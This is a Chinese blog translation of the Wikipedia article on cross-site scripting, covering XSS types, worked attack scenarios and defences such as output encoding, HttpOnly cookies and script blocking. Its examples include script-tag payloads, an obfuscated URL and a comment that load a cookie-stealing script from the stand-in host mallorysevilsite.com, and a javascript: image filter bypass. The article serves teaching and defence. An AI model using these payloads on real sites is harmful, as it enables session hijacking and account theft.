跨站腳本(XSS)是web應(yīng)用中的一種典型的計(jì)算機(jī)安全漏洞。XSS允許攻擊者可以在其他用戶瀏覽的web頁(yè)面中注入客戶端腳本。一個(gè)跨站腳本漏洞可能會(huì)被攻擊者用來(lái)繞開(kāi)訪問(wèn)限制,例如同源策略。Symantec在2007年發(fā)布的報(bào)告中跨站腳本漏洞大概占所有網(wǎng)站漏洞的84%。跨站腳本的影響從一個(gè)小麻煩到一個(gè)重要的安全風(fēng)險(xiǎn),主要看有這種漏洞的網(wǎng)站中數(shù)據(jù)的敏感性以及站點(diǎn)所有者所做的安全應(yīng)對(duì)策略。
背景
web安全依賴多種不同的機(jī)制,包括一個(gè)被信任的基本概念,即同源策略。實(shí)質(zhì)上就是一個(gè)站點(diǎn)(https://mybank.example1.com
)上的內(nèi)容被授予訪問(wèn)系統(tǒng)上資源的權(quán)限,這個(gè)站點(diǎn)的其他內(nèi)容也貢獻(xiàn)這些授權(quán),然而其他站點(diǎn)(https://othersite.example2.com
)上的內(nèi)容將會(huì)被單獨(dú)授予權(quán)限。
跨站腳本攻擊是基于web應(yīng)用中已知的漏洞,服務(wù)端,或者依賴的插件系統(tǒng)。利用其中一種方式,攻擊者可以把惡意內(nèi)容放進(jìn)目標(biāo)站點(diǎn)傳輸?shù)膬?nèi)容中。當(dāng)這種結(jié)合的內(nèi)容到達(dá)客戶端的瀏覽器中,它就已經(jīng)變成從受信任的來(lái)源傳輸?shù)模缓笤谙到y(tǒng)授權(quán)下進(jìn)行操作。通過(guò)尋找把惡意腳本注入web頁(yè)面的方法,攻擊者可以獲取對(duì)敏感頁(yè)面的訪問(wèn)權(quán)限,例如對(duì)session cookie和瀏覽器代表用戶維護(hù)的其他信息。跨站腳本攻擊是代碼注入的一種方式。
微軟安全工程師在2000年一月份提出“跨站腳本”的術(shù)語(yǔ)。“跨站腳本”剛開(kāi)始要表達(dá)的意思是來(lái)自不相關(guān)攻擊地點(diǎn)的第三方站點(diǎn),通過(guò)執(zhí)行攻擊者在目標(biāo)域的安全上下文中準(zhǔn)備的js代碼片段來(lái)加載攻擊的行為(利用一個(gè)反射型或者非持久性的XSS漏洞)。這種概念逐漸擴(kuò)展到包含其它的代碼注入模式,包括持久性非js載體(包括ActiveX,Java,VBScript,Flash,甚至HTMl腳本),給安全信息領(lǐng)域的新人帶來(lái)一些困惑。
XSS漏洞從1990年就開(kāi)始被報(bào)道和利用。過(guò)去受影響的知名站點(diǎn)包括社交站點(diǎn)Twitter,Facebook,Myspace,YouTube和Orkut(包括2011年微博遇到的XSS攻擊)。跨站腳本缺陷已經(jīng)超過(guò)緩沖區(qū)溢出缺陷成為報(bào)告中最常見(jiàn)的安全漏洞,一些研究者估算在2007年大概68%的站點(diǎn)可能會(huì)被XSS攻擊。
類型
對(duì)跨站腳本缺陷沒(méi)有一個(gè)標(biāo)準(zhǔn)的分類,但是大部分專家會(huì)區(qū)分至少兩種XSS缺陷類型:非持久型和持久型。一些來(lái)源進(jìn)一步的把這些劃分成兩組,傳統(tǒng)的(服務(wù)端代碼缺陷導(dǎo)致的)和基于DOM的(客戶端代碼導(dǎo)致的)。
反射型(非持久型)
到目前為止,非持久型(反射型)跨站腳本漏洞是最基本的web漏洞。當(dāng)web客戶端提供數(shù)據(jù)時(shí),就會(huì)出現(xiàn)這種漏洞,常見(jiàn)于HTTP查詢參數(shù)(例如,HTML表單提交),服務(wù)端腳本在沒(méi)有正確過(guò)濾請(qǐng)求時(shí),就立即解析并展示頁(yè)面結(jié)果給用戶。
因?yàn)閔tml文檔是流式結(jié)構(gòu)并且混合了控制狀態(tài),格式化,真實(shí)內(nèi)容,結(jié)果頁(yè)面中包含的任何未經(jīng)驗(yàn)證的用戶提交數(shù)據(jù),如果沒(méi)有正確的進(jìn)行html編碼,都有可能導(dǎo)致標(biāo)簽注入。一個(gè)典型例子是一個(gè)網(wǎng)站搜索引擎:如果搜索了一個(gè)字符串,這個(gè)搜索字符串通常會(huì)在搜索頁(yè)再顯示一次,告訴用戶搜索了什么。如果響應(yīng)沒(méi)有正確忽略或者拒絕html控制字符串,跨站腳本風(fēng)險(xiǎn)隨之而來(lái)。
一次反射型攻擊通常通過(guò)郵件或者中立的站點(diǎn)來(lái)實(shí)施。誘餌通常是一個(gè)看起來(lái)安全的url,指向一個(gè)受信任的站點(diǎn),但是包含XSS載體。如果受信任的站點(diǎn)容易受到載體影響,點(diǎn)擊這個(gè)鏈接可能會(huì)導(dǎo)致受害者的瀏覽器執(zhí)行注入腳本。
持久型
持久型(又稱存儲(chǔ)型)XSS漏洞是一種更有破壞性的跨站腳本缺陷的變種:當(dāng)攻擊者提供的數(shù)據(jù)保存到了服務(wù)端,然后永久的顯示在“正常”頁(yè)面,并且其他用戶在瀏覽器是可以看到,如果這些數(shù)據(jù)沒(méi)有經(jīng)過(guò)正確的html編碼,就會(huì)發(fā)生這種攻擊。一個(gè)典型的例子就是在線留言板,允許用戶發(fā)布html格式的信息,可以讓其他用戶看到。
例如,假設(shè)有一個(gè)數(shù)據(jù)站點(diǎn),其中的會(huì)員瀏覽了其他會(huì)員的信息,看下是否感興趣。由于隱私的原因,這個(gè)站點(diǎn)會(huì)隱藏每個(gè)用戶的真實(shí)姓名和email,這些信息加密保存在服務(wù)端,只有當(dāng)會(huì)員登錄后才能在瀏覽器中看到自己真實(shí)的姓名和email,但是不能查看其他人的。
假設(shè)有一個(gè)攻擊者,加入了這個(gè)站點(diǎn),并且想要估算出他在站點(diǎn)上看到的用戶的真實(shí)姓名。要做到這一點(diǎn),他寫了一段腳本,目的是當(dāng)其他用戶看他的個(gè)人信息時(shí)可以在其他人的瀏覽器上運(yùn)行。然后這段腳本發(fā)送信息到他自己的服務(wù)器,然后就可以搜集這些信息。
為了這么做,對(duì)于“描述你的第一次約會(huì)”這樣問(wèn)題,攻擊者給了一個(gè)簡(jiǎn)短答案(看起來(lái)很正常),但是在攻擊者答案的最后是一段竊取姓名和email的腳本,如果腳本內(nèi)嵌在<script>
標(biāo)簽中,它就不會(huì)在屏幕上顯示。然后假設(shè)這個(gè)站點(diǎn)上的另一個(gè)用戶看到了攻擊者的個(gè)人信息,并且查看了攻擊者對(duì)“描述你的第一次約會(huì)”問(wèn)題的回答,然后攻擊者的腳本就會(huì)通過(guò)瀏覽器自動(dòng)的運(yùn)行,并且從用戶自己的機(jī)器上竊取了他的真實(shí)姓名和email。
持久性XSS漏洞比其他類型都要重要,因?yàn)楣粽叩膼阂饽_本可以自動(dòng)渲染,不需要單獨(dú)定位受害者或者誘使受害者到第三方網(wǎng)站。特別在一些社交網(wǎng)站上,這些代碼可以進(jìn)一步的通過(guò)賬號(hào)體系被設(shè)計(jì)成自蔓延型,創(chuàng)造一種客戶端蠕蟲(chóng)病毒。
注入方法可以變化很大;在一些場(chǎng)景中,攻擊者甚至都不需要與web有功能性的交互。web應(yīng)用接收的(通過(guò)郵件,系統(tǒng)日志,IM等)任意可以被攻擊者控制的數(shù)據(jù)都有可能變成注入載體。
服務(wù)端與基于DOM的漏洞
以往第一次發(fā)現(xiàn)的XSS漏洞發(fā)生在所有數(shù)據(jù)處理都在服務(wù)端完成的應(yīng)用中。用戶輸入(包含一個(gè)XSS載體)將會(huì)被發(fā)送到服務(wù)端,然后作為一個(gè)web頁(yè)面返回給用戶。為了提高用戶體驗(yàn),主流的web應(yīng)用有大部分的展示邏輯是在客戶端運(yùn)行的,通過(guò)AJAX的方式從服務(wù)端拉取或者請(qǐng)求數(shù)據(jù)。
js代碼也可以處理用戶輸入,然后渲染到頁(yè)面內(nèi)容中,一種新的反射型XSS攻擊的子類型開(kāi)始出現(xiàn),被稱為基于DOM的跨站腳本攻擊。在基于DOM的跨站腳本攻擊中,惡意數(shù)據(jù)不用和服務(wù)端交互。相反,它會(huì)被js代碼完全反射在客戶端側(cè)執(zhí)行。
基于DOM的XSS漏洞的例子是2011年在JQuery插件中發(fā)現(xiàn)的一個(gè)bug。阻止這種攻擊的策略和對(duì)待傳統(tǒng)XSS攻擊的策略類似,只不過(guò)是在js代碼中實(shí)施。一些js框架內(nèi)建了防止XSS攻擊的處理策略,例如Angular.js。
Self-XSS
Self-XSS是XSS漏洞的一種形式,依賴社會(huì)工程學(xué)來(lái)誘導(dǎo)受害者在他們的瀏覽器中執(zhí)行惡意js代碼。盡管在技術(shù)上它不是一個(gè)真正的XSS漏洞,因?yàn)樗抢蒙鐣?huì)工程學(xué)讓用戶執(zhí)行代碼而不是利用站點(diǎn)缺陷來(lái)這么做,但是如果執(zhí)行得當(dāng),它也會(huì)有常規(guī)XSS漏洞一樣的風(fēng)險(xiǎn)。
突變XSS(mXSS)
當(dāng)攻擊者注入了一些看起來(lái)安全的內(nèi)容的,但是瀏覽器在解析標(biāo)簽時(shí)重寫修改了這些內(nèi)容,就有可能發(fā)生突變XSS攻擊。很難在站點(diǎn)應(yīng)用的邏輯中偵測(cè)或者清除它。一個(gè)例子就是重新調(diào)整未閉合的引號(hào)或者為CSS的字體參數(shù)添加引號(hào)參數(shù)。
開(kāi)發(fā)示例
攻擊者想要利用跨站腳本漏洞,必須以不同的方式對(duì)待每種漏洞。對(duì)于每一種類型的漏洞,下面都會(huì)描述一種特定的攻擊載體。下面用到的姓名是專業(yè)術(shù)語(yǔ),取自計(jì)算機(jī)安全領(lǐng)域常用的Alice和Bob。瀏覽器開(kāi)發(fā)框架可以被用來(lái)攻擊web站點(diǎn)和用戶的本地環(huán)境。
非持久型
Alice經(jīng)常訪問(wèn)一個(gè)特殊站點(diǎn),這個(gè)站點(diǎn)是Bob托管的。Bob的站點(diǎn)允許Alice以用戶名/密碼的方式登錄,也存儲(chǔ)一些敏感信息,例如賬單信息。當(dāng)用戶登錄時(shí),瀏覽器保存了一個(gè)授權(quán)cookie,授權(quán)cookie看起來(lái)就像無(wú)效的字符串,所以客戶端,服務(wù)端都記得她登錄過(guò)。
-
Mallory觀察發(fā)現(xiàn)Bob的站點(diǎn)包含一個(gè)反射型XSS漏洞:
- 當(dāng)她訪問(wèn)搜索頁(yè)面時(shí),她在輸入框中輸入一個(gè)搜索術(shù)語(yǔ)然后點(diǎn)擊了提交按鈕。如果沒(méi)有找到搜索結(jié)果,頁(yè)面將會(huì)展示她搜索的術(shù)語(yǔ)然后加上“not found”關(guān)鍵詞,此時(shí)的url也變成了
http://bobssite.org?q=搜索的術(shù)語(yǔ)
。 - 一個(gè)正常的搜索查詢,像"puppies"這個(gè)詞,頁(yè)面簡(jiǎn)單的顯示“puppies not found”,url變成了"
http://bobssite.org?q=puppies
",這是一個(gè)正常行為。 - 但是,當(dāng)她提交了一個(gè)異常查詢條件,像"
<script type='text/javascript'>alert('xss');</script>
",
1.出現(xiàn)一個(gè)alert彈窗(提示"xss")。
2.頁(yè)面顯示"沒(méi)有找到<script type='text/javascript'>alert('xss');</script>
",然后一個(gè)錯(cuò)誤的消息提示'xss'。
3.url變成了"http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script>
"——這是可以利用的行為。
- 當(dāng)她訪問(wèn)搜索頁(yè)面時(shí),她在輸入框中輸入一個(gè)搜索術(shù)語(yǔ)然后點(diǎn)擊了提交按鈕。如果沒(méi)有找到搜索結(jié)果,頁(yè)面將會(huì)展示她搜索的術(shù)語(yǔ)然后加上“not found”關(guān)鍵詞,此時(shí)的url也變成了
-
Mallory偽造了一個(gè)URL來(lái)利用這種漏洞:
- 她創(chuàng)建了一個(gè)URL
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
。她可以選擇把ASCII字符串轉(zhuǎn)成十六進(jìn)制格式,例如:http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
,所以當(dāng)被人看到時(shí)無(wú)法立馬識(shí)別這個(gè)惡意URL。 - 她給Bob站點(diǎn)的一些信任用戶發(fā)送一封郵件,告訴他們"查收可愛(ài)的狗狗!"
- 她創(chuàng)建了一個(gè)URL
Alic收到了這封郵件,她喜歡狗狗,然后點(diǎn)擊了這個(gè)鏈接。然后跳轉(zhuǎn)到Bob站點(diǎn)的搜索頁(yè),沒(méi)有找到任何東西,只是顯示了"沒(méi)有找到狗狗",然后腳本標(biāo)簽執(zhí)行了,載入了Mallory的腳本authstealer.js(觸發(fā)了XSS攻擊).Alice忘記了這個(gè)。
authstealer.js腳本在Alice的瀏覽器中執(zhí)行了,就好像它是從Bob的站點(diǎn)加載的。它抓取了Alice的授權(quán)Cookie,然后把它發(fā)送到Mallory的服務(wù)器,然后Mallory獲取到它。
Mallory現(xiàn)在把Alice的授權(quán)Cookie放進(jìn)她自己的瀏覽器,就好像它是自己的一樣。然后她打開(kāi)Bob的站點(diǎn),以Alice的身份登錄了。
登錄之后,Mallory進(jìn)入賬單模塊,找到Alice的信用卡號(hào)碼,然后拷貝了一。然后她更改了密碼,這樣Alice就不能再登錄了。
她決定更進(jìn)一步,發(fā)送一個(gè)相似的鏈接給Bob自己,為了獲取管理員權(quán)限。
可以通過(guò)以下幾件事情來(lái)降低這種攻擊風(fēng)險(xiǎn):
搜索框有正確的編碼檢查。
服務(wù)端設(shè)置成重定向無(wú)效請(qǐng)求。
服務(wù)端可以檢測(cè)到同時(shí)登陸,然后失效session。
服務(wù)端檢測(cè)來(lái)自不同IP地址的同時(shí)登陸,然后失效session。
站點(diǎn)可以只顯示用戶使用的信用卡后幾位數(shù)字。
在更改注冊(cè)信息時(shí),站點(diǎn)要求用戶再次輸入密碼。
站點(diǎn)可以制定不同方面的內(nèi)容安全策略。
教育用戶不要點(diǎn)擊看起來(lái)良好,但實(shí)際惡意的鏈接。
把cookie設(shè)置成
HttpOnly
,阻止js獲取。
持久型攻擊
Mallory獲取了Bob站點(diǎn)上的一個(gè)賬號(hào)。
Mallory觀察發(fā)現(xiàn)Bob的站點(diǎn)包含一個(gè)存儲(chǔ)型XSS漏洞。如果去新聞版塊,然后發(fā)表一條評(píng)論,無(wú)論他在評(píng)論區(qū)輸入什么都會(huì)被顯示出來(lái)。但是如果評(píng)論文本包含HTML標(biāo)簽,標(biāo)簽將會(huì)按照原本要顯示的方式顯示出來(lái)的話,任意的script標(biāo)簽都可以運(yùn)行。
Mallory在新聞版本讀了一條新聞,然后再評(píng)論區(qū)增加了一條評(píng)論。在評(píng)論內(nèi)容中,她插入了這樣的文本:
I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
。當(dāng)Alice或者其他人加載了帶這條評(píng)論的頁(yè)面,Mallory的腳本開(kāi)始執(zhí)行,然后竊取了Alice的授權(quán)cookie,然后發(fā)送給Mallory的服務(wù)端。
現(xiàn)在Mallory可以劫持了Alice的Session,并且可以冒充Alice。
Bob的站點(diǎn)應(yīng)該可以剝離這些腳本標(biāo)簽或者做某些處理不讓腳本標(biāo)簽生效,但是實(shí)際上他并沒(méi)有處理這個(gè)安全漏洞。
預(yù)防手段
上下文輸出編碼/轉(zhuǎn)碼字符串輸入
上下文輸出編碼/轉(zhuǎn)碼可以被用來(lái)作為基本的防御機(jī)制來(lái)阻止XSS攻擊。有幾轉(zhuǎn)碼機(jī)制可以使用,依賴不受信任的字符串需要放在HTML文檔里面的那個(gè)位置,包括html實(shí)體編碼,js轉(zhuǎn)碼,css轉(zhuǎn)碼,URL編碼。大部分不需要接受富文本的web應(yīng)用可以以一種直接的方式使用轉(zhuǎn)碼消除大部分的XSS攻擊。
盡管廣泛推薦,HTML實(shí)體編碼只有五種有意義的字符,不足夠阻止形式多樣的XSS攻擊。由于編碼并不簡(jiǎn)單,所以安全編碼庫(kù)通常更容易使用。
安全驗(yàn)證不可信的HTML輸入
有些特殊的web應(yīng)用允許用戶使用某些HTML標(biāo)簽。接受用戶的HTML輸入(例如<b>very</b> large),輸出編碼( <b>very</b> large)就夠了,因?yàn)橛脩糨斎胄枰獮g覽器解析成HTML渲染,所以會(huì)顯示成“very large”,而不是“<b>very</b> large”。在接受用戶HTML輸入的時(shí)候阻止XSS攻擊比這種情況要復(fù)雜的多。不受信任的HTML輸入必須通過(guò)一個(gè)HTML過(guò)濾引擎來(lái)確保不含有XSS代碼。
還需要注意許多驗(yàn)證依賴具體解析的html標(biāo)簽(黑名單),例如下面的
<script> <link> <iframe>
這種方式也有很多問(wèn)題,例如有時(shí)看起來(lái)無(wú)害的標(biāo)簽正確使用可能被遺漏,但是仍然會(huì)產(chǎn)生XSS,看下面的例子
< img src="javascript:alert(1)">
另一種流行的方法是移除用戶輸入的"和',盡管這樣也可能被遺漏,通過(guò)代碼混淆的方式。
cookies安全
除了內(nèi)容過(guò)濾,其他不完美的處理跨站腳本也經(jīng)常被使用。一個(gè)例子就是當(dāng)處理基于cookie的用戶權(quán)限認(rèn)證時(shí),使用額外安全控制。許多web應(yīng)用依賴session cookie在獨(dú)立的HTTP請(qǐng)求中做授權(quán)驗(yàn)證,因?yàn)榭蛻舳四_本通常都有獲取這些cookies的權(quán)限,所以簡(jiǎn)單的XSS漏洞就可以竊取這些cookies。為了降低這種風(fēng)險(xiǎn)(雖然不是普通的XSS問(wèn)題),許多web應(yīng)用會(huì)把session cookies和用戶開(kāi)始登陸時(shí)的ip地址綁定,這樣就可以只允許特定ip使用cookie。這種方式在大多數(shù)情況下都有效(如果攻擊者只獲取cookie),但是如果攻擊使用相同的IP地址或者web代理冒充受害者或者受害者改變他的Mobile IP,這種方式就不再適用了。
其他解決方案是IE6+,F(xiàn)irefox2.0+,Safari4+,Opera9.5+,Chrome瀏覽器支持web服務(wù)端設(shè)置cookie的HttpOnly屬性,這樣客戶端腳本就無(wú)法獲取cookie。盡管這樣有用,但是也不能完全阻止cookie竊取,也不能阻止瀏覽器內(nèi)的攻擊。
禁用腳本
盡管在web2.0時(shí)代,Ajax開(kāi)發(fā)需要使用js,有些web應(yīng)用還是不依賴客戶端js開(kāi)發(fā)的。如果選用這種方式,可以選擇再瀏覽器中禁用腳本。通過(guò)這種方式,盡管潛在的惡意客戶端腳本會(huì)未經(jīng)轉(zhuǎn)義的嵌入到頁(yè)面中,用戶不會(huì)輕易受到XSS攻擊。
一些瀏覽器或者瀏覽器插件可以設(shè)置成禁止每個(gè)域上的客戶端腳本。如果默認(rèn)允許腳本執(zhí)行,這種方式的價(jià)值也是有限的,因?yàn)橹挥杏脩糁浪L問(wèn)的網(wǎng)站是惡意網(wǎng)站之后才會(huì)禁止這個(gè)站點(diǎn)的腳本執(zhí)行,這樣的話就有點(diǎn)晚了。默認(rèn)禁止所有的腳本和外部依賴,然后允許用戶對(duì)單個(gè)域設(shè)置開(kāi)啟可能更有效。IE4+通過(guò)設(shè)置"安全區(qū)域"來(lái)實(shí)現(xiàn),Opera9+則使用"網(wǎng)站特定偏好"實(shí)現(xiàn)。Firefox和其他基于Gecko的瀏覽器的解決方法是開(kāi)源的NoScript插件,可以增加在每個(gè)域上啟動(dòng)腳本的能力,甚至在啟動(dòng)腳本時(shí),提供一些XSS保護(hù)。
默認(rèn)禁止所有站點(diǎn)的腳本最大的問(wèn)題可能會(huì)顯著降低網(wǎng)站的功能和響應(yīng)(客戶端腳本比服務(wù)端腳本要快,因?yàn)樗恍枰B接遠(yuǎn)程服務(wù)器,頁(yè)面或者frame不需要重新加載)。另一個(gè)問(wèn)題就是許多用戶不理解這個(gè),不知道如何正確的保護(hù)他們的瀏覽器。還有另一個(gè)問(wèn)題就是沒(méi)有客戶端腳本支持,需要網(wǎng)站無(wú)法正常工作。Firefox的NoScript插件允許用戶設(shè)置允許頁(yè)面中部分腳本執(zhí)行,但是禁止其它腳本執(zhí)行。例如,從example.com站點(diǎn)的腳本可以執(zhí)行,但是advertisingagency.com站點(diǎn)的腳本不允許在相同頁(yè)面執(zhí)行。
新興的防守技術(shù)
新興的有三種XSS防御手段。包括內(nèi)容安全策略,就是沙箱工具,自動(dòng)轉(zhuǎn)碼模板。這些技術(shù)仍然在進(jìn)化,但是可以期待的是可以大量減少XSS攻擊的發(fā)生。
掃描服務(wù)
一些公司提供了一個(gè)周期性的掃描服務(wù),本質(zhì)上就是模擬了從服務(wù)端到客戶端的攻擊,為了驗(yàn)證攻擊是否成功。如果攻擊成功了,客戶端可以收到如何執(zhí)行的信息,然后就有機(jī)會(huì)修復(fù)這個(gè)問(wèn)題在相同的攻擊發(fā)生前。通過(guò)最新一次檢查的站點(diǎn)可以增加一個(gè)信任勛章。掃描服務(wù)可能無(wú)法發(fā)現(xiàn)所有可能的漏洞,因此有信任勛章的站點(diǎn)仍然可能會(huì)受到新類型的攻擊,但是檢測(cè)服務(wù)還是可以發(fā)現(xiàn)一些問(wèn)題的。一旦客戶端修改了這些問(wèn)題,那這些站點(diǎn)就比沒(méi)使用掃描服務(wù)之前安全。對(duì)于需要完全避免XSS漏洞的站點(diǎn),技術(shù)評(píng)估時(shí),像人工代碼評(píng)審是必要的環(huán)節(jié)。另外,如果js在頁(yè)面上執(zhí)行,勛章也可以被copy(所以,理論上,這種服務(wù)也無(wú)法完全避免XSS風(fēng)險(xiǎn))。
相關(guān)漏洞
在普通跨站腳本(UXSS,或者Universal XSS)攻擊中,瀏覽器自身的漏洞或者瀏覽器插件的漏洞都可以被利用(并不是站點(diǎn)中的漏洞,但是XSS攻擊一樣)。這種攻擊通常是匿名的,伴隨著DDos攻擊,來(lái)折中控制網(wǎng)絡(luò)。
有幾類漏洞或者攻擊技術(shù)和XSS有關(guān):跨區(qū)域腳本在某些特定瀏覽器中利用“區(qū)域”概念,通常以更高的權(quán)限執(zhí)行代碼。HTTP頭注入可以用來(lái)創(chuàng)造折中跨站腳本條件,因?yàn)镠TTP協(xié)議層的轉(zhuǎn)碼問(wèn)題(除非啟動(dòng)攻擊之外,例如HTTP響應(yīng)拆分攻擊).
跨站請(qǐng)求偽造(CSRF/XSRF)和XSS幾乎相反,它不是利用用戶對(duì)網(wǎng)站的信任,攻擊者(和他的惡意頁(yè)面)利用網(wǎng)站對(duì)客戶端軟件的信任,提交一些請(qǐng)求,網(wǎng)站相信是授權(quán)用戶有意識(shí)的行為。XSS漏洞(甚至在相同域下運(yùn)行的其他應(yīng)用)允許攻擊者繞過(guò)CSRF預(yù)防。
隱蔽的重定向利用第三方客戶端可能的XSS或者開(kāi)放重定向攻擊。正常的網(wǎng)絡(luò)釣魚可能很容易被發(fā)現(xiàn)。因?yàn)閻阂忭?yè)面URL和正常的網(wǎng)站地址將會(huì)有幾個(gè)字母的區(qū)別。和隱蔽重定向不同的是攻擊者可以利用真實(shí)的網(wǎng)站,通過(guò)侵入站點(diǎn)使用一個(gè)惡意的登錄彈出對(duì)話框。
最后SQL注入利用的是數(shù)據(jù)庫(kù)層面的漏洞。當(dāng)用戶輸入沒(méi)有正確過(guò)濾時(shí),任何SQL語(yǔ)句都會(huì)被應(yīng)用執(zhí)行。
做好前端開(kāi)發(fā)必須對(duì)HTTP的相關(guān)知識(shí)有所了解,所以我創(chuàng)建了一個(gè)專題前端必備HTTP技能專門收集前端相關(guān)的HTTP知識(shí),歡迎關(guān)注,投稿。
PS:本文翻譯自維基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_scripting